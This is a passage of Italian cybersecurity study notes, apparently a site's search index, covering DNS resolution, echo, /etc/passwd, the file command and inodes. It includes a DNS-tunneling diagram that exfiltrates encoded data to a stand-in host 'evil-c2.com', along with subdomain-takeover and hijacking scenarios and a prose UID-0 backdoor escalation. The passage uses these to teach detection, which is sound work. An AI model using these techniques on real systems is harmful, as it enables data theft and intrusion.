significa: \u0026quot;esempio.com punta a 1.2.3.4\u0026quot;.\nWizard Tip 3: Se cambi nameserver (NS), la propagazione può richiedere fino a 48 ore perché le cache in tutto il mondo devono scadere. Se cambi solo un record A con TTL 300, bastano 5 minuti.\nCollegato a # network — categoria crypto — categoria (DKIM usa crittografia asimmetrica) dns-resolution-flow — il flusso gerarchico di risoluzione ip-addressing-subnetting — gli IP a cui puntano i record A openssl — per ispezionare certificati legati ai record CAA nc — per testare connettività verso porte specificate nei record SRV ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/dns-records/","section":"Concetti","summary":"I record DNS sono le singole 'voci' nella zona DNS di un dominio. Ogni record associa un nome a un valore specifico (IP, altro nome, server di posta, testo di verifica). Quando modifichi i parametri DNS nel pannello del tuo provider, stai editando questi record.","title":"DNS Records","type":"concetti"},{"content":" Cosa fa # Il Domain Name System (DNS) è il sistema distribuito gerarchico che traduce nomi di dominio leggibili (esempio.com) in indirizzi IP (93.184.216.34). Funziona come una catena di deleghe: nessun singolo server sa tutto, ma ognuno sa a chi chiedere.\nTL;DR # Flusso di risoluzione:\nBrowser → cache browser → cache OS locale → resolver ISP / 8.8.8.8 → Root server → \u0026#34;per .it vai dai TLD .it\u0026#34; → TLD server → \u0026#34;per example.it vai dal nameserver\u0026#34; → Nameserver → \u0026#34;chat.example.it = 1.2.3.4\u0026#34; → resolver → cacha la risposta con il TTL del record → Browser → \u0026#34;l\u0026#39;IP è 1.2.3.4\u0026#34; ICANN è l’ente non profit che coordina indirizzi IP e nomi di dominio a livello globale. è l’organizzazione che tiene in ordine la “rubrica mondiale” di Internet, decidendo chi gestisce i vari ‎.com, ‎.org, ecc. e coordinando indirizzi IP e DNS. ICANN (Internet Corporation for Assigned Names and Numbers) è un’organizzazione non a scopo di lucro con sede negli Stati Uniti che:\nICANN │ ┌────────────────┴────────────────┐ │ │ Root zone (file) Politiche / regole │ Root servers (A–M) │ Deleghe TLD (.com, .net, .org, .it, ...) │ Registry di ciascun TLD │ Nameserver autorevoli dei domini │ Resolver → Browser → Utente Cache — sta dove si fanno le domande, mai alla fonte:\nBrowser cache → personale, solo per te Cache OS locale → /etc/hosts + cache sistema Resolver ISP/8.8.8.8 → condivisa tra tutti i suoi client Nameserver → fonte autoritativa, non cacha Analogia — L'Ufficio Postale Gerarchico # Immagina di dover consegnare una lettera a \u0026quot;Mario Rossi, Via Roma 15, Firenze, Italia\u0026quot;.\nNon esiste un unico postino che conosce tutti gli indirizzi del mondo. La lettera passa per una catena:\nCentro Smistamento Mondiale (Root Server .): \u0026quot;Non so chi è Mario Rossi, ma la lettera va in Italia.\u0026quot; Ufficio Postale Nazionale (TLD Server .it): \u0026quot;Non conosco Mario, ma Firenze ha il suo ufficio locale.\u0026quot; Ufficio Postale Locale (Authoritative NS): \u0026quot;Mario Rossi? Sì! Via Roma 15. Ecco il suo indirizzo esatto.\u0026quot; Note Il DNS funziona identicamente: ogni livello sa solo il pezzo di sua competenza e delega al livello sotto.\nGerarchia DNS e struttura di un nome di dominio # \u0026#34;.\u0026#34; (Root) │ ┌──────────────┼──────────────┐ .com .org .it ← TLD │ ┌─────┴──────┐ tryhackme.com google.com ← Second-Level Domain │ └── store.tryhackme.com ← Subdomain jupiter.servers.tryhackme.com │ │ │ │ │ │ │ └── TLD │ │ └─────── Second-Level Domain (max 63 char) │ └───────────────── Subdomain └───────────────────────── Subdomain (annidati) Lunghezza massima: 253 caratteri Caratteri: a-z, 0-9, trattini (no inizio/fine, no consecutivi) Tipo Sigla Scopo Esempi Generic gTLD Scopo del sito .com .org .edu .gov .biz Country Code ccTLD Nazione .it .ca .co.uk .de Warning paypal.com.login-secure.xyz ha TLD .xyz e second-level login-secure — non ha nulla a che fare con PayPal. Il second-level domain è l'unica parte che identifica il proprietario reale.\nCome Funziona — Il Flusso Completo # sequenceDiagram participant B as Browser participant C as Cache Locale participant R as Resolver (ISP) participant Root as Root Server (.) participant TLD as TLD Server (.com) participant NS as Authoritative NS B-\u003e\u003eC: www.esempio.com? C--\u003e\u003eB: cache miss B-\u003e\u003eR: www.esempio.com? R-\u003e\u003eRoot: www.esempio.com? Root--\u003e\u003eR: prova TLD .com → R-\u003e\u003eTLD: www.esempio.com? TLD--\u003e\u003eR: prova ns1.cloudflare.com → R-\u003e\u003eNS: www.esempio.com? NS--\u003e\u003eR: 93.184.216.34 ✓ R--\u003e\u003eB: 93.184.216.34 (cache TTL) I Due Tipi di Query # graph LR subgraph RECURSIVE B1[Browser] --\u003e|\"Trovami esempio.com\"| R1[Resolver] R1 --\u003e|fa tutto lui| R1 R1 --\u003e|risposta finale| B1 end subgraph ITERATIVE R2[Resolver] --\u003e|query| Root2[Root] Root2 --\u003e|prova TLD| R2 R2 --\u003e|query| TLD2[TLD] TLD2 --\u003e|prova NS| R2 R2 --\u003e|query| NS2[Auth NS] NS2 --\u003e|IP finale| R2 end Tip Analogia Recursive: Chiami la segretaria — lei chiama tutti, tu aspetti la risposta. Analogia Iterative: Chiedi a un passante, ti manda dal barista, il barista dal vigile, il vigile ti dà la risposta.\nTipo Meccanismo Analogia Recursive Il resolver si assume l'onere di interrogare tutta la catena e fornire la risposta finale all'utente. Chiedi alla segretaria di trovarti un numero: tu aspetti, lei fa tutte le chiamate. Iterative Ogni server risponde con un \u0026quot;Referral\u0026quot; (l'indirizzo del server successivo) e il chiamante deve muoversi passo dopo passo. Chiedi indicazioni per strada: il barista ti manda al vigile, il vigile ti indica la meta. Attori del sistema — location fisica # Attore Ruolo Dove sta fisicamente /etc/hosts Override manuale File su disco, tua macchina Cache OS Risultati recenti RAM, tua macchina, svuotata al reboot /etc/resolv.conf IP del recursive server File su disco, tua macchina Recursive DNS Fa il viaggio per te, mette in cache Server fisico datacenter ISP / Google / Cloudflare Root DNS Indirizza al TLD corretto 13 indirizzi logici, centinaia di macchine via Anycast TLD server Sa dove trovare il nameserver Macchine fisiche Verisign (.com), Registro.it (.it) Authoritative NS Contiene i record reali Macchine Cloudflare / AWS Route53 / etc. LOCALE (tua macchina) RETE (server di qualcun altro) ────────────────────── ────────────────────────────── /etc/hosts Recursive DNS (ISP / Google) Cache OS RAM Root DNS (Anycast globale) /etc/resolv.conf TLD server (Verisign, etc.) Authoritative (Cloudflare, etc.) I primi tre non escono mai dalla tua macchina. Dal Recursive DNS in poi sei in rete. Tip Anycast: stesso IP annunciato da centinaia di macchine nel mondo. Il router manda la query alla macchina geograficamente più vicina — zero single point of failure, latenza minima ovunque.\nConcetti Chiave: Il TTL # Non confondere il TTL DNS con il TTL di Rete (IP Header). * TTL DNS: Indica per quanti secondi un record può essere memorizzato in cache prima di richiedere un aggiornamento. * TTL Rete: È un contatore di \u0026quot;hop\u0026quot; (salti tra router) per evitare che un pacchetto giri all'infinito; decresce a ogni passaggio. TTL — Il Timer della Cache # graph LR A[Record DNS ricevuto] --\u003e B{TTL scaduto?} B --\u003e|No| C[Usa cache] B --\u003e|Sì| D[Nuova query DNS] Warning Non confondere i due TTL — sono concetti completamente diversi:\nTTL di Rete TTL DNS Dove vive Header pacchetto IP Record DNS Cosa conta Hop (router attraversati) Secondi di validità cache Valore max 255 (8 bit) Anche 86400 (24h) Decresce Ad ogni router Con il tempo Best practice operativa quando modifichi un record:\nGiorni prima: TTL = 86400 (regime normale) │ │ 48h prima della modifica ▼ TTL = 300 ◄── i recursive nel mondo svuotano la cache │ │ aspetta 48h (vecchi record con TTL 86400 scadono tutti) ▼ Fai la modifica del record A/CNAME/MX │ │ aspetta max 5 min (nuovo TTL) ▼ Verifica con nslookup che la modifica sia propagata │ ▼ TTL = 86400 (torna al regime normale) Warning Lasciare TTL a 300 permanentemente: su traffico basso nessun problema reale. Su traffico alto ~20-30% delle visite paga il costo del viaggio completo invece della cache.\nCome ricordare dove è la cache? La cache è posizionata dove si fanno le domande. → cache locale (OS) → resolver → Root server → \u0026quot;per .it vai dai TLD .it\u0026quot; → TLD server → \u0026quot;per example.it vai dal nameserver\u0026quot; → resolver → Browser\nScenario Reale — DNS Hijacking # Important Questo è uno dei motivi principali per cui monitorare le query DNS è fondamentale in un SOC.\nUn utente segnala: \u0026quot;Quando vado su intranet.azienda.com mi appare una pagina strana con un login diverso.\u0026quot;\nsequenceDiagram participant U as Utente participant M as Malware participant F as Fake DNS (attaccante) participant C as Clone Site M-\u003e\u003eU: modifica /etc/resolv.conf U-\u003e\u003eF: query DNS intranet.azienda.com F--\u003e\u003eU: IP falso (clone site) U-\u003e\u003eC: connessione C--\u003e\u003eU: pagina login fake U-\u003e\u003eC: inserisce credenziali C-\u003e\u003eF: credenziali rubate ✓ Come investighi:\n# Controlla il resolver configurato sul PC sospetto cat /etc/resolv.conf # Verifica a quale IP risponde il resolver attuale dig intranet.azienda.com # Confronta con il resolver aziendale legittimo dig @dns-aziendale.com intranet.azienda.com Scenario Reale — DNS Tunneling (Canale Covert) # Warning Il firewall vede solo \u0026quot;una query DNS\u0026quot; e la lascia passare. Tecnica usata dai malware per esfiltrare dati aggirando i firewall.\nsequenceDiagram participant M as Malware (PC vittima) participant FW as Firewall participant DNS as DNS Auth (evil-c2.com) M-\u003e\u003eFW: query DNS dXRlbnRl.evil-c2.com Note over M,FW: Dati rubati codificati in base64 nel sottodominio FW--\u003e\u003eM: sembra traffico DNS legittimo ✓ FW-\u003e\u003eDNS: forwarda la query DNS--\u003e\u003eM: risposta (comandi C2 nascosti) Come rilevarlo con suricata:\nSottodomini molto lunghi (\u0026gt; 50 caratteri) Alta frequenza di query verso lo stesso dominio Entropia alta nel nome del sottodominio DNS Recursion — vista dal resolver (Wireshark) # Quando il resolver esegue la ricorsione, genera una nuova query con un nuovo Transaction ID verso l'upstream. Il dfir catturato sul resolver mostra 4 pacchetti:\nPkt 1: client (172.16.0.8) → resolver (172.16.0.102) query 0x8b34 A www.nostarch.com Pkt 2: resolver (172.16.0.102) → upstream (4.2.2.1) query 0xf34d A www.nostarch.com Pkt 3: upstream (4.2.2.1) → resolver (172.16.0.102) risposta 0xf34d A 72.32.92.4 Pkt 4: resolver (172.16.0.102) → client (172.16.0.8) risposta 0x8b34 A 72.32.92.4 Il resolver mantiene internamente la mappatura 0xf34d → 0x8b34: sa che quando arriva la risposta con ID 0xf34d deve rispondere al client con l'ID originale 0x8b34.\nTip Nuovo Transaction ID = nuova query indipendente. Se vedi Transaction ID diversi in un dfir sul resolver, stai guardando la ricorsione in azione — non un errore.\nNote Questo meccanismo è anche il punto debole del DNS cache poisoning: un attaccante che riesce a indovinare il Transaction ID e rispondere prima dell'upstream legittimo può iniettare una risposta falsa nel resolver.\nCome appare in Wireshark — pacchetto DNS # Una query DNS è due pacchetti UDP: query e risposta. Porta fissa 53/udp sul server, porta effimera sul client (es. 1060).\nStruttura del pacchetto query:\nCampo Valore tipico Significato Dst Port 53 porta DNS — sempre 53/UDP Src Port 1060 (variabile) porta effimera del client Transaction ID 0x180f abbina query → risposta, come in DHCP Flags 0x0100 Standard query indica tipo messaggio e opzioni Recursion desired 1 \u0026quot;fai tu il viaggio completo, non voglio referral\u0026quot; Questions 1 numero di domande nel pacchetto Answer RRs 0 nella query è sempre 0 — la risposta arriva dopo Type A tipo di record richiesto Class IN Internet — l'unica classe usata in pratica oggi Transaction ID — numero casuale generato dal client. Il server lo copia nella risposta. Stesso meccanismo di DHCP: permette di abbinare risposta a query quando più query sono in volo contemporaneamente su UDP.\nClass IN — DNS fu progettato per supportare classi diverse (IN = Internet, CH = Chaosnet, HS = Hesiod). Oggi si usa solo IN. Lo vedi sempre nei pacchetti ma non ha rilevanza pratica — residuo del design degli anni '80.\nFlag DNS nella risposta — come leggerli in Wireshark # Dalla risposta del resolver (Practical Packet Analysis, cap 9):\nFlag Valore Significato Response 1 è una risposta (0 = query) Opcode 0 Standard query Authoritative 0 il resolver NON è autoritativo per il dominio — ha recuperato la risposta per conto del client Truncated 0 risposta non troncata (se 1 → riprova via TCP) Recursion Desired 1 il client ha chiesto al resolver di fare il viaggio completo Recursion Available 1 il server conferma che supporta query ricorsive Reply code 0 No error — risposta valida Tip Authoritative = 0 nella risposta del resolver è normale — significa che il resolver ha fatto il lavoro iterativo per te ma non possiede la zona. Vedresti Authoritative = 1 solo se interrogassi direttamente il nameserver autoritativo del dominio.\nNote Il Transaction ID della risposta deve coincidere con quello della query. Se non coincide in un potrebbe essere un tentativo di DNS cache poisoning — risposta falsa iniettata prima di quella legittima.\nTipi di record — valori numerici nel pacchetto # In Wireshark vedi il tipo come numero. I più comuni:\nValore Tipo Descrizione 1 A indirizzo IPv4 2 NS nameserver autoritativo 5 CNAME alias → nome canonico 15 MX mail exchange 16 TXT testo libero (SPF, DKIM, verifica) 28 AAAA indirizzo IPv6 251 IXFR zone transfer incrementale 252 AXFR zone transfer completo IXFR e AXFR usano TCP invece di UDP — i dati sono troppo grandi per un singolo datagramma. In Wireshark si riconoscono subito perché la porta 53 appare su TCP anziché UDP.\nComandi Diagnostici # Comando Cosa fa dig esempio.com Query DNS base dig esempio.com +trace Mostra tutta la catena root → TLD → NS dig esempio.com MX Query per tipo di record specifico nslookup esempio.com Alternativa a dig (meno dettagliata) cat /etc/resolv.conf Mostra il resolver configurato sul sistema Tip dig esempio.com +trace è il tuo strumento principale per diagnosticare problemi DNS — mostra ogni passo della catena di risoluzione come se fossi il resolver.\nDNS Zone — cosa si intende # La zona è la porzione di spazio DNS che un nameserver gestisce direttamente e di cui è autoritativo.\ntarget.com ← zona gestita dal nameserver ├── www.target.com ├── mail.target.com ├── vpn.target.com ├── dev.target.com └── internal.target.com Il nameserver di target.com conosce tutti questi record perché li ha nel suo zone file — un file di testo con tutti i record DNS del dominio.\nLa distinzione importante: un resolver (tipo 8.8.8.8) non ha una zona — fa domande per conto dei client. Un authoritative nameserver ha una zona — risponde con dati che possiede direttamente, non che ha cercato per te.\nTip Quando fai dig +trace target.com e arrivi all'ultimo nameserver che risponde senza ulteriori referral — sei sull'autoritativo della zona.\nSubdomain Takeover # FASE 1 — configurazione legittima: store.tryhackme.com ──CNAME──► shops.shopify.com │ account Shopify attivo ✓ FASE 2 — abbandono (CNAME rimane, account cancellato): store.tryhackme.com ──CNAME──► shops.shopify.com │ NXDOMAIN — nessuno lo possiede FASE 3 — attaccante registra shops.shopify.com: store.tryhackme.com ──CNAME──► shops.shopify.com │ account ATTACCANTE ← controlla il contenuto servito Warning Chiunque visiti store.tryhackme.com vede il contenuto dell'attaccante sotto il dominio ufficiale della vittima. Usi: phishing, furto cookie, bypass CSP.\n# Rileva CNAME orfani: nslookup -type=CNAME store.tryhackme.com # Se il CNAME esiste ma la destinazione dà NXDOMAIN → potenziale takeover # Servizi noti vulnerabili: # Shopify, GitHub Pages, Heroku, Fastly, Azure, AWS S3 Collegato a # network — categoria dns-records — tutti i tipi di record (A, CNAME, MX, TXT, NS, ecc.) nat-concept — il resolver è spesso dietro NAT ip-addressing-subnetting — gli IP a cui i record A puntano suricata — rileva DNS tunneling e query anomale wazuh — monitora le query DNS per comportamenti sospetti ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/dns-resolution-flow/","section":"Concetti","summary":"Il DNS è il sistema distribuito gerarchico che traduce nomi di dominio in indirizzi IP attraverso una catena di deleghe: resolver, root server, TLD, authoritative nameserver.","title":"DNS Resolution Flow","type":"concetti"},{"content":" Cosa fa # Stampa testo o il risultato di espansioni shell sullo standard output. È il tool principale per capire come la shell interpreta ed espande i comandi prima di eseguirli.\nSintassi # echo [opzioni] [stringa]\nOpzioni essenziali # Opzione Nome Cosa fa -n no newline Non aggiunge il carattere \u0026quot;a capo\u0026quot; (\\n) alla fine. -e enable escapes Abilita l'interpretazione dei caratteri con backslash (es: \\n, \\t). L'importanza di -n con i Pipe Quando passi dati a un altro comando tramite pipe (|), echo aggiunge automaticamente un \\n alla fine. Questo può rompere script di cifratura o autenticazione. Esempio (Base64):\n# ERRATO: Include il newline (\\n) nella codifica echo \u0026#34;test\u0026#34; | base64 # Output: dGVzdAo= (il \u0026#34;Cg==\u0026#34; finale è il \\n) # CORRETTO: Codifica solo la stringa \u0026#34;test\u0026#34; echo -n \u0026#34;test\u0026#34; | base64 # Output: dGVzdA== dry-run -\u0026gt; TESTA! echo è il modo più sicuro per testare un comando distruttivo — metti echo davanti e vedi cosa farebbe senza eseguirlo davvero. echo davanti a un comando è la versione artigianale del dry run quando il tool non ce l'ha integrato.\ndry run → \u0026quot;fammi vedere cosa faresti, senza farlo davvero\u0026quot; Espansioni supportate # Tipo Esempio Output Note Pathname expansion echo *.txt lista file .txt * espande i nomi file corrispondenti Home expansion echo ~ /home/barno ~ = home directory dell'utente corrente Arithmetic expansion echo $((2+2)) 4 solo interi, divisione tronca Brace expansion echo {A,B,C} A B C genera sequenze o liste Brace expansion range echo {1..5} 1 2 3 4 5 range numerico o alfabetico Variable expansion echo $USER barno espande variabile d'ambiente Command substitution echo $(which cp) /usr/bin/cp esegue comando e usa l'output Double quotes vs Single quotes # # Double quotes — la shell interpreta $, $(), $(()) echo \u0026#34;text ~/*.txt {a,b} $(echo foo) $((2+2)) $USER\u0026#34; # output: text ~/*.txt {a,b} foo 4 barno # ^ ~ e {} NON espansi ^ questi sì # Single quotes — testo letterale, niente viene interpretato echo \u0026#39;text ~/*.txt {a,b} $(echo foo) $((2+2)) $USER\u0026#39; # output: text ~/*.txt {a,b} $(echo foo) $((2+2)) $USER Regola mentale: \u0026#34; \u0026#34; → la shell interpreta $, $(), $(()) — tutto il resto è letterale \u0026#39; \u0026#39; → la shell non interpreta NIENTE — testo completamente letterale Command substitution — $() vs backtick # # Moderno — preferito ls -l $(which cp) # Vecchio stile — evitare ls -l `which cp` Usa sempre $() perché si annida senza problemi:\n# $() annidato — leggibile echo $(echo $(echo ciao)) # Backtick annidato — illeggibile, richiede escape echo `echo \\`echo ciao\\`` Combinazioni utili # # Crea struttura directory anni/mesi in un colpo solo mkdir {2007..2009}-{01..12} # Verifica come la shell espande un comando prima di eseguirlo echo rm *.txt # vedi cosa cancelleresti PRIMA di farlo davvero # Variabili d\u0026#39;ambiente disponibili printenv | less scrivere dentro a un file # echo \u0026#39;.post-cover { max-height: 300px; object-fit: cover; }\u0026#39; \u0026gt; file.css Scenario Reale # Un analista scrive uno script bash per rinominare file di log per data. Usa brace expansion per generare i nomi: mv log_{01..31}.txt /archive/. Prima di eseguire lo script in produzione, testa con echo davanti al comando per vedere esattamente cosa verrebbe eseguito senza modificare nulla.\necho vs printf # echo → semplice, aggiunge automaticamente \\n alla fine comportamento varia tra shell diverse (bash, sh, zsh)\nprintf → controllo totale sul formato, come il comportamento consistente su tutte le shell non aggiunge \\n automaticamente\nDove l'ho usato # bandit-14 — echo \u0026quot;password\u0026quot; | nc localhost 30000 bandit-15 — echo \u0026quot;password\u0026quot; | openssl s_client -connect localhost:30001 -quiet Note personali # echo è il modo più sicuro per testare un comando distruttivo — metti echo davanti e vedi cosa farebbe senza eseguirlo davvero. Single quotes = tutto letterale. Quando dubiti, usa single quotes. Abbandona i backtick — usa sempre $().\nCollegato a # system — categoria standard-streams — echo scrive su stdout netcat — combinato con pipe per mandare dati openssl — combinato con pipe per mandare password printenv ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/echo/","section":"Comandi","summary":"Stampa testo o il risultato di espansioni shell sullo standard output. È il tool principale per capire come la shell interpreta ed espande i comandi prima di eseguirli.","title":"Echo","type":"comandi"},{"content":" Cos'è # File di testo pubblico che definisce tutti gli account del sistema — utenti umani, utenti di sistema e demoni. Per ogni account specifica username, UID, GID, home directory e shell da lanciare alla connessione. Leggibile da tutti perché molti programmi ne hanno bisogno, ma le password stanno in /etc/shadow che è accessibile solo a root.\nAnatomia di una riga # Ogni riga è composta da 7 campi separati da due punti (:).\ngetent passwd barno barno:x:1000:1000:barno,,,:/home/barno:/usr/bin/zsh root : x : 0 : 0 : root : /root : /bin/bash │ │ │ │ │ │ └─ 7. Shell (il guscio) │ │ │ │ │ └─────────── 6. Home Directory │ │ │ │ └─────────────────── 5. Info (GECOS) │ │ │ └───────────────────────── 4. GID Primario │ │ └───────────────────────────── 3. UID (0 = ROOT) │ └───────────────────────────────── 2. Password Placeholder (x) └─────────────────────────────────────── 1. Username Campi critici per la sicurezza # UID 0: Qualsiasi utente con UID 0 è, per il kernel, l'utente Root, indipendentemente dal nome. Password (x): Se vedi una x, significa che l'hash della password è protetto nel file /etc/shadow. Se vedessi un hash o un campo vuoto, il sistema sarebbe vulnerabile. Shell (/bin/bash vs /usr/sbin/nologin): Gli utenti di sistema hanno solitamente nologin o false come shell per impedire il login. Ma la shell può essere qualsiasi eseguibile — non solo bash o zsh. Quando ti connetti via SSH, il server lancia esattamente quel programma. Se quel programma non è una shell interattiva, non ottieni un prompt — ottieni qualunque cosa il programma faccia prima di uscire.\nPer vedere la shell di un utente specifico: grep \u0026quot;^bandit26\u0026quot; /etc/passwd | cut -d: -f7 Scenario Reale (Privilege Escalation) # Un attaccante che ottiene permessi di scrittura su questo file può:\nCambiare il proprio UID a 0.\nCreare un nuovo utente \u0026quot;backdoor\u0026quot; con UID 0.\nCambiare la propria shell in una shell privilegiata.\nCollegato a # system — categoria uid-gid-identifiers — concetto linux-groups — concetto user-management-cheatsheet — comandi bandit-26 ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/etc-passwd-anatomy/","section":"Concetti","summary":"Il file /etc/passwd è il database locale degli account utente. È un file di testo pubblico (leggibile da tutti) che definisce chi può accedere al sistema.","title":"Etc Passwd Anatomy","type":"concetti"},{"content":" Cosa fa # Determina il tipo di contenuto di un file esaminando la sua struttura interna (Magic Bytes / Magic Numbers), ignorando completamente l'estensione. È uno strumento critico per distinguere file di testo, binari, script o malware mascherati.\nFilosofia Linux: \u0026quot;Everything is a file\u0026quot; # In Linux l'estensione (es. .txt, .jpg) è solo una scorciatoia per gli umani. Il sistema operativo e i tool di sicurezza si fidano solo dei Magic Bytes, ovvero i primi byte del file che ne dichiarano la vera natura.\nTutto è un file in linux Sintassi # file [opzioni] nomefile\nComandi essenziali # Comando Flag Cosa fa file segreto — Mostra la natura del file \u0026quot;segreto\u0026quot;. file -b segreto -b (brief) Modalità breve: non ripete il nome del file nell'output. file -i segreto -i (mime) Mostra il tipo MIME (es. text/plain). file -L link -L (deref) Segue i link simbolici e analizza il file originale. file -- ./* -- Analizza tutto nella cartella, gestendo i nomi che iniziano con -. Analisi Ricorsiva (Massiva) # Quando devi analizzare centinaia di file in sottocartelle diverse, la combinazione con find è lo standard professionale:\n# Cerca tutti i file (-type f) ed esegue il comando file su ognuno find . -type f -exec file {} + {}: Viene sostituito dai nomi dei file trovati. +: Ottimizza l'esecuzione passando più file contemporaneamente al comando file (molto più veloce di ;). Scenario Reale (Blue Team / DFIR) # Durante l'analisi di un incidente, trovi un file chiamato immagine.png. L'estensione suggerisce una foto, ma il comando file immagine.png restituisce: ELF 64-bit LSB executable. Hai appena scoperto un malware che tenta di nascondersi alla vista dell'utente.\nDove l'ho usato # bandit-04 — Per distinguere l'unico file leggibile (ASCII text) in mezzo a molti file binari classificati come data. Note personali # Ricorda: Se il terminale \u0026quot;impazzisce\u0026quot; con caratteri strani dopo aver visualizzato un file, probabilmente hai usato cat su un binario. Usa il comando reset per ripristinare la sessione.\nCollegato a # system — categoria file — categoria cat — se file conferma che è testo, si usa cat per leggerlo. find — per analisi massive su più cartelle. ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/file/","section":"Comandi","summary":"Determina il tipo di contenuto di un file esaminando la sua struttura interna (Magic Bytes / Magic Numbers), ignorando completamente l'estensione. È uno strumento critico per distinguere file di testo, binari, script o malware mascherati.","title":"File","type":"comandi"},{"content":"Concetto Core: In Linux, una directory non è un semplice \u0026quot;contenitore\u0026quot;, ma un file speciale che funge da indice. Al suo interno risiedono voci che associano il nome di ogni elemento al suo numero di inode. L'inode è la struttura dati che contiene i metadati e i puntatori ai blocchi fisici sul disco.\n🏗️ Analogia Tecnica (Low-Level) # 1. La Directory come Indice (Lista di Record) # Puoi immaginare la directory come una tabella o un array di record dove ogni \u0026quot;cella\u0026quot; contiene:\nNome del file (stringa) Numero di Inode (valore intero/puntatore logico) 2. L'Inode come Struct # L'inode è simile a una struct C che definisce l'oggetto file prima ancora dei suoi dati:\nstruct FileInode { int owner_uid; // UID del proprietario int group_gid; // GID del gruppo int permissions; // rwxrwxrwx int size; // Dimensione in byte long timestamp; // Ultimo accesso/modifica void *blocks[12]; // Array di puntatori ai blocchi dati su disco }; 🏗️ L'Analogia del Programmatore # Possiamo visualizzare il rapporto tra Directory e File come una struttura dati complessa:\nComponente Analogia Informatica Ruolo Tecnico Directory Array / Hash Map Un file \u0026quot;lista\u0026quot; che associa nomi di file a numeri di Inode. File Name Key - chiave testuale che individua una voce nella directory (nome → inode) Inode - Struct / Record - struttura che contiene metadati e puntatori ai blocchi dat Dati Value I byte effettivi scritti sui blocchi del disco. 📝 Side-Note: La Directory come Tabella di Puntatori (Array di Riferimenti) # Se preferisci i puntatori alle struct, immagina la directory come un Array di Coppie (Stringa, Indirizzo).\nL'Indice della Directory: È un array dove ogni elemento è (char *name, uint32_t inode_ptr). Il Numero di Inode: Non è altro che un Offset o un Puntatore Logico. Quando il Kernel legge il numero di inode 101, lo usa come indice per saltare all'indirizzo di memoria (o settore del disco) dove risiedono i metadati di quel file. Dereferenziazione (*): Il permesso Execute (x) sulla directory è l'operatore di dereferenziazione. Senza x, hai l'indirizzo (vedi che il file esiste nell'indice), ma il Kernel ti impedisce di fare *ptr. Non puoi \u0026quot;seguire\u0026quot; il puntatore per arrivare ai dati. 📝 Side-Note: Differenza tra Puntatori e Array (nel contesto Filesystem) # Sebbene spesso usati come sinonimi nel linguaggio parlato, in C e nel Kernel Linux hanno distinzioni semantiche precise che si riflettono nel filesystem:\nConcetto Array (La Directory) 📁 Puntatore (L'Inode/File) 📄 Natura Una struttura a dimensione variabile che alloca spazio per contenere \u0026quot;nomi\u0026quot;. Una variabile che contiene l'indirizzo dei dati reali. Accesso Accedere a un elemento dell'array (ls) non significa aver letto il valore puntato. Leggere il puntatore (cat) carica i dati dalla memoria/disco. Rilocazione Se rinomini un file (mv), cambi solo l'etichetta nell'array. L'indirizzo puntato resta identico. Se sposti i dati su un altro disco, il valore del puntatore (numero di inode) deve cambiare. In breve:\nL'Array è la mappa stradale (nomi e direzioni). Il Puntatore è la coordinata GPS specifica che ti porta alla casa (i dati). 🔑 Cosa abilitano i Bit (Context-Aware) # 📁 Sulla Directory (L'Indice) # [r] Read: Permette di leggere la lista dei nomi nell'indice (ls). [w] Write: Permette di manipolare l'indice: aggiungere record (touch), rimuoverli (rm) o rinominarli (mv). [x] Execute: Permette la Dereferenziazione. Senza questo bit, non puoi usare il \u0026quot;numero di inode\u0026quot; per raggiungere la struct del file. 📄 Sul File (La Struct/Dati) # [r] Read: Permette di accedere ai puntatori dei blocchi dati per leggerne il contenuto. [w] Write: Permette di modificare i dati nei blocchi puntati dall'inode. [x] Execute: Indica al Kernel che i dati nei blocchi possono essere caricati nello spazio di indirizzamento di un processo. Quindi se hai permessi della cartella posso vedere il contenuto della cartella e fare operazioni sulla cartella. Se non ho i permessi sul puntatore non posso esplorare i file che sono presenti in quella cartella\n📌 Lo Sticky Bit (Il Filtro \u0026quot;If\u0026quot; di Sicurezza) # Lo Sticky Bit (t) è una condizione logica aggiuntiva che protegge l'integrità dell'Array in ambienti multi-utente (es: /tmp). Rappresenta un \u0026quot;lucchetto\u0026quot; per le operazioni di cancellazione.\nLogica di Cancellazione (rm):\nIF (utente_ha_W_su_directory AND (utente == proprietario_file OR utente == root)) THEN ALLOW DELETE ELSE DENY ACCESS Ottale: Si indica con un 1 davanti (es. 1777). Simbolico: Appare come una t finale (es. drwxrwxrwt). 🎨 Diagramma ASCII: Flusso di Accesso # DIRECTORY (L\u0026#39;Array) INODE TABLE (I Metadati) DISCO (I Dati) +-----------------------+ +-----------------------+ +---------------+ | NOME | INODE # | | INODE #101 | | [ 01010110 ] | |------------|----------| |-----------------------| | [ 11101010 ] | | file.txt | 101 ---|-------\u0026gt;| - Owner: bandit1 |-----\u0026gt;| [ CONTENUTO] | | script.sh | 205 ---| | - Perms: rwx | | [ REALE ] | +-----------------------+ +-----------------------+ +---------------+ ^ ^ | | PERMESSI [w] PERMESSI [x] (Modifica (Segui il Array) Puntatore) COMANDO: cat /home/user/file.txt\n[ / ] Inode Indice -\u0026gt; Cerca \u0026quot;home\u0026quot; -\u0026gt; Ottieni Inode #10 [ home/ ] Inode Indice -\u0026gt; Cerca \u0026quot;user\u0026quot; -\u0026gt; Ottieni Inode #20 (Richiede 'x') [ user/ ] Inode Indice -\u0026gt; Cerca \u0026quot;file.txt\u0026quot; -\u0026gt; Ottieni Inode #50 (Richiede 'x') [ Inode #50 ] Leggi Struct -\u0026gt; Controlla Permessi 'r' -\u0026gt; Accedi ai blocchi dati. 🛠️ Comandi di Gestione (The Trinity) # chmod: Modifica i bit (es. chmod 755 o chmod +t). chown: Cambia il proprietario (User/UID). chgrp: Cambia il gruppo (Group/GID). Vedi anche:\nlinux-filesystem-hierarchy standard-streams ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/filesystem-architecture-inodes/","section":"Concetti","summary":"Concetto Core: In Linux, una directory non è un semplice 'contenitore', ma un file speciale che funge da indice. Al suo interno risiedono voci che associano il nome di ogni elemento al suo numero di inode. L'inode è la struttura dati che contiene i metadati e i puntatori ai blocchi fisici sul disco.","title":"Filesystem Architecture Inodes","type":"concetti"},{"content":" Cosa fa # Interroga i database del Service Name Switch (NSS), permettendo di consultare utenti, gruppi, host e altri database di sistema indipendentemente dalla loro origine (locale o di rete).\nSintassi # getent [database] [chiave]\nComandi essenziali # Comando Database Cosa 